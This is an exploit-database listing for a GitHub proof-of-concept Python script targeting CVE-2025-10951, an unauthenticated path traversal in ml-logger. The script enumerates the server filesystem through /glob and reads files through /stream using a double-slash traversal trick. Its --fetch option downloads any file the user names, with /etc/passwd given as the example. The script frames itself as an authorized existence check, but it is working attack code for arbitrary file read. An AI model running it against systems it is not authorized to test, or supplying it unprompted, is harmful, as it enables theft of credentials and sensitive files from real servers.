Exploit database

GH-0e0c00a176558d3fadf230b8371ecafa

1amunvalid/cve-2025-10951

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-10951

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
1amunvalid/cve-2025-10951Revision c2d2c733bf87

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-10951_check_mllogger_traversal.py

Python · 7,702 bytes
#!/usr/bin/env python3
"""
CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — ml-logger unauthenticated
path traversal — existence check only.

Scope note: this script only proves the vulnerability exists. It reads
/etc/hostname (a harmless, non-sensitive file present on virtually every
Linux box) via the /stream endpoint as proof, and never touches SSH keys,
shadow files, or other sensitive data.

The --fetch option lets you pull a specific file of your own choosing
(e.g. during an authorized engagement once existence is confirmed).
It does not pick or suggest files itself — you always supply the path.

Use only against systems you are authorized to test.

Usage:
    python3 check_mllogger_traversal.py http://TARGET:PORT
    python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
    python3 check_mllogger_traversal.py http://TARGET:PORT --fetch /etc/passwd --output passwd.txt
"""

import argparse
import json
import sys
from datetime import datetime, timezone

import requests

PROOF_FILE = "/etc/hostname"   # harmless, universally present, non-sensitive


def check_glob(base_url: str, timeout: float) -> bool:
    """Confirm the /glob endpoint is reachable and returns filesystem data."""
    url = f"{base_url}/glob"
    payload = {"query": "/etc/*", "wd": "/", "start": 0, "stop": 50}
    try:
        r = requests.post(url, json=payload, timeout=timeout)
    except requests.RequestException as e:
        print(f"[-] /glob request failed: {e}")
        return False

    if r.status_code != 200:
        print(f"[-] /glob returned HTTP {r.status_code}, not vulnerable (or endpoint missing)")
        return False

    try:
        results = r.json()
    except ValueError:
        print("[-] /glob did not return JSON")
        return False

    if isinstance(results, list) and len(results) > 0:
        print(f"[+] /glob is reachable and enumerated {len(results)} filesystem entries")
        return True

    print("[-] /glob reachable but returned no entries")
    return False


def check_stream(base_url: str, timeout: float) -> bool:
    """Confirm /stream can read a file outside the app's intended scope."""
    url = f"{base_url}/stream"
    # Leading double-slash is the traversal trick documented in the public PoC
    payload = {"key": f"/{PROOF_FILE}", "type": ""}
    headers = {"Content-Type": "application/json"}

    try:
        r = requests.get(url, headers=headers, json=payload, timeout=timeout, stream=True)
    except requests.RequestException as e:
        print(f"[-] /stream request failed: {e}")
        return False

    if r.status_code != 200:
        print(f"[-] /stream returned HTTP {r.status_code} for {PROOF_FILE}")
        return False

    content = r.content.decode(errors="replace").strip()

    # A real hostname file is short, plain text, no HTML/error markers
    if content and "<html" not in content.lower() and len(content) < 512:
        print(f"[+] /stream leaked file outside app scope: {PROOF_FILE}")
        print(f"    contents: {content!r}")
        return True

    print(f"[-] /stream did not return expected file content (got: {content[:100]!r})")
    return False


def fetch_file(base_url: str, remote_path: str, output_path: str, timeout: float) -> bool:
    """Download a user-specified file via /stream. Caller chooses the path explicitly."""
    url = f"{base_url}/stream"
    # Leading double-slash is the traversal trick documented in the public PoC —
    # keep it consistent with check_stream() rather than normalizing it away.
    key = "/" + remote_path.lstrip("/")
    payload = {"key": "/" + key, "type": ""}
    headers = {"Content-Type": "application/json"}

    print(f"[*] Fetching remote file: {remote_path}")
    try:
        r = requests.get(url, headers=headers, json=payload, timeout=timeout, stream=True)
    except requests.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False

    if r.status_code != 200:
        # Server-side errors (e.g. FileNotFoundError) come back as HTTP 500 HTML
        print(f"[-] Server returned HTTP {r.status_code} — file may not exist or path is wrong")
        return False

    try:
        with open(output_path, "wb") as f:
            for chunk in r.iter_content(chunk_size=8192):
                f.write(chunk)
    except requests.exceptions.ChunkedEncodingError:
        # Server sometimes writes a raw HTTP error response mid-stream after
        # already sending a 200 header (e.g. file vanished, permission denied
        # partway through read). Treat as a clean failure, not a crash.
        print("[-] Server error occurred mid-stream (file likely inaccessible or path invalid)")
        try:
            import os
            os.remove(output_path)
        except OSError:
            pass
        return False

    print(f"[+] Saved to {output_path}")
    return True


def main():
    parser = argparse.ArgumentParser(
        description="Check for CVE-2025-10951 (ml-logger path traversal) — proof-of-existence, "
                    "with optional targeted file fetch for authorized testing."
    )
    parser.add_argument("target", help="Base URL, e.g. http://192.168.1.10:8081")
    parser.add_argument("--timeout", type=float, default=8.0, help="Request timeout in seconds")
    parser.add_argument("--json", metavar="FILE", help="Write results as JSON to this file")
    parser.add_argument(
        "--fetch", metavar="REMOTE_PATH",
        help="Fetch a specific remote file you specify (only runs if vulnerability is confirmed)"
    )
    parser.add_argument(
        "--output", metavar="LOCAL_PATH", default=None,
        help="Local filename to save --fetch result to (default: basename of remote path)"
    )
    args = parser.parse_args()

    base_url = args.target.rstrip("/")

    print(f"[*] Checking {base_url} for CVE-2025-10951 (ml-logger path traversal)")
    print(f"[*] Proof file used: {PROOF_FILE} (non-sensitive)\n")

    glob_ok = check_glob(base_url, args.timeout)
    stream_ok = check_stream(base_url, args.timeout)

    vulnerable = glob_ok and stream_ok
    likely_vulnerable = stream_ok

    print()
    if vulnerable:
        print("[!] VULNERABLE — both /glob enumeration and /stream arbitrary file read confirmed.")
    elif likely_vulnerable:
        print("[!] LIKELY VULNERABLE — /stream path traversal confirmed (glob check inconclusive).")
    else:
        print("[*] NOT CONFIRMED VULNERABLE — target may be patched, unreachable, or not ml-logger.")

    fetch_result = None
    if args.fetch:
        if not likely_vulnerable:
            print("\n[-] Skipping --fetch: vulnerability not confirmed on this target.")
        else:
            output_path = args.output or args.fetch.strip("/").split("/")[-1] or "downloaded_file"
            print()
            success = fetch_file(base_url, args.fetch, output_path, args.timeout)
            fetch_result = {
                "remote_path": args.fetch,
                "local_path": output_path if success else None,
                "success": success,
            }

    if args.json:
        report = {
            "target": base_url,
            "timestamp": datetime.now(timezone.utc).isoformat(),
            "cve": "CVE-2025-10951",
            "glob_endpoint_confirmed": glob_ok,
            "stream_endpoint_confirmed": stream_ok,
            "vulnerable": vulnerable,
            "likely_vulnerable": likely_vulnerable,
            "fetch": fetch_result,
        }
        with open(args.json, "w") as f:
            json.dump(report, f, indent=2)
        print(f"\n[*] Results written to {args.json}")

    sys.exit(0 if likely_vulnerable else 1)


if __name__ == "__main__":
    main()